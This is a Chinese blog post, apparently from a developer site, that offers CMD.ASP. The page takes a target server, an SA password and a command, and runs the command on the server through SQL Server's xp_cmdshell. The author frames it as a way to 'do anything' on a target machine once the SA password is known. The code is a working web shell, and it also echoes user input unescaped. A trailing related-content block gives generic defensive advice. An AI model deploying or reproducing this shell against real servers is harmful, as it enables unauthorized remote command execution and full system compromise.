SQLSERVER扩展存储过程XP_CMDSHELL的简单应用

XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。
下面是我写的一个简单的应用页面(ASP),代码如下。
CMD.ASP
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>SQLSERVER_XP_CMDSHELL实例_魔术师·刘</title>
<style type="text/css">
<!--
body{
 font-size:13px;
 line-height:20px;
 width:760;
 SCROLLBAR-FACE-COLOR: #2896e1;
 SCROLLBAR-SHADOW-COLOR: #6cb4d8;
 SCROLLBAR-ARROW-COLOR: #f0f0f0;
 SCROLLBAR-DARKSHADOW-COLOR: #2896e1;
 SCROLLBAR-BASE-COLOR: #2896e1;
 background-image: url(images/bg.gif);
}
.LBR{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:1px solid #336699;
border-bottom:1px solid #336699;
}
.all_h {
 border: 1px solid #336699;
}
.input {
 border: 1px solid #336699;
 background-color:#ECEAFD;
}
.LB{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:0px solid #336699;
border-bottom:1px solid #336699;
}
.N1 {font-weight:bold;color:#339933;font-size:13px;}
.N2 {font-weight:bold;color:#ff0000;font-size:13px;}
-->
</style>
</head>

<body>


<%if request("cmd")<>"" then%>
<table width=400  border=0 align=center cellpadding=5 cellspacing=0>
  <tr align=center>
    <td height=30  class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL请求结果</span></td>
  </tr>
  <%

dim connstr,conn,rs,i
ConnStr="Provider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"
'ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"
set conn=Server.CreateObject("ADODB.Connection")
conn.open Connstr
set rs=server.CreateObject("ADODB.Recordset")
set rs=conn.execute("xp_cmdshell '"&replace(replace(request("cmd"),"'","''"),chr(34),"''")&"'")
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"
else
response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"
end if
i=i+1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name="form1" method="post" action="">
  <table width=400  border=0 align=center cellpadding=5 cellspacing=0>
    <tr align=center>
      <td height=30 colspan=2  class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL实例</span></td>
    </tr>
    <tr align=center bgcolor=#DEF3FF>
      <td width=26% class=LB><strong>服务器</strong></td>
      <td width=74% class=LBR><div align="left">
          <input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">
      </div></td>
    </tr>
    <tr align=center >
      <td   class=LB><b>SA密码 </b></td>
      <td   class=LBR><div align="left"><span class=N1>
          <input name="PWD" type="text" id="PWD" class="input" size="20" value="<%=request("PWD")%>">
      </span></div></td>
    </tr>
    <tr align=center bgcolor=#DEF3FF>
      <td width=26% class=LB><strong>CMD命令</strong></td>
      <td width=74% class=LBR><div align="left">
          <input name="CMD" type="text" id="CMD" class="input" size="20" value="<%=request("CMD")%>">
      </div></td>
    </tr>
    <tr align=center >
      <td colspan="2"   class=LBR><div align="center"><b> </b>
              <input type="submit" name="Submit" value="  提交Command命令  " class="input">
      </div></td>
    </tr>
  </table>
</form>


</body>
</html>
测试执行页面如下图:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL Server的xp_cmdshell是一种在数据库中执行操作系统级命令的功能。然而,xp_cmdshell也被黑客滥用,用于进行SQL Server注入攻击。 xp_cmdshell注入是一种利用SQL Server的xp_cmdshell的漏洞,通过构造恶意SQL语句来执行任意操作系统命令。攻击者可以将自己的恶意脚本嵌入到SQL查询中,并在成功执行攻击后,实现对操作系统的非授权访问。 为了防止xp_cmdshell注入,我们可以采取以下措施: 1. 最佳实践规范:在部署SQL Server时,应遵循最佳实践并限制对xp_cmdshell的使用。只有授权用户才能使用xp_cmdshell,并最小化对其的权限。 2. 存储过程控制:编写存储过程是一种减少xp_cmdshell注入风险的好方法。通过使用存储过程,可以在执行xp_cmdshell之前进行输入验证和参数验证,以防止恶意代码执行。 3. 输入验证:在开发和设计应用程序时,应该对用户提供的输入进行验证和过滤,以防止恶意代码或SQL注入的注入攻击。 4. 更新和补丁:及时安装SQL Server的更新和补丁是防止xp_cmdshell注入的关键。这些更新和补丁将修复已知的漏洞,并加强系统的安全性。 5. 审计和监控:配置SQL Server以记录和监视xp_cmdshell的使用是防止注入的另一种方法。通过实时监控xp_cmdshell的使用情况,可以及时发现和阻止潜在的注入攻击。 总之,防止xp_cmdshell注入是很重要的,我们需要采取适当措施保护SQL Server,如限制访问权限、验证输入、及时更新等。这样可以提高系统的安全性,并减少被黑客攻击的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值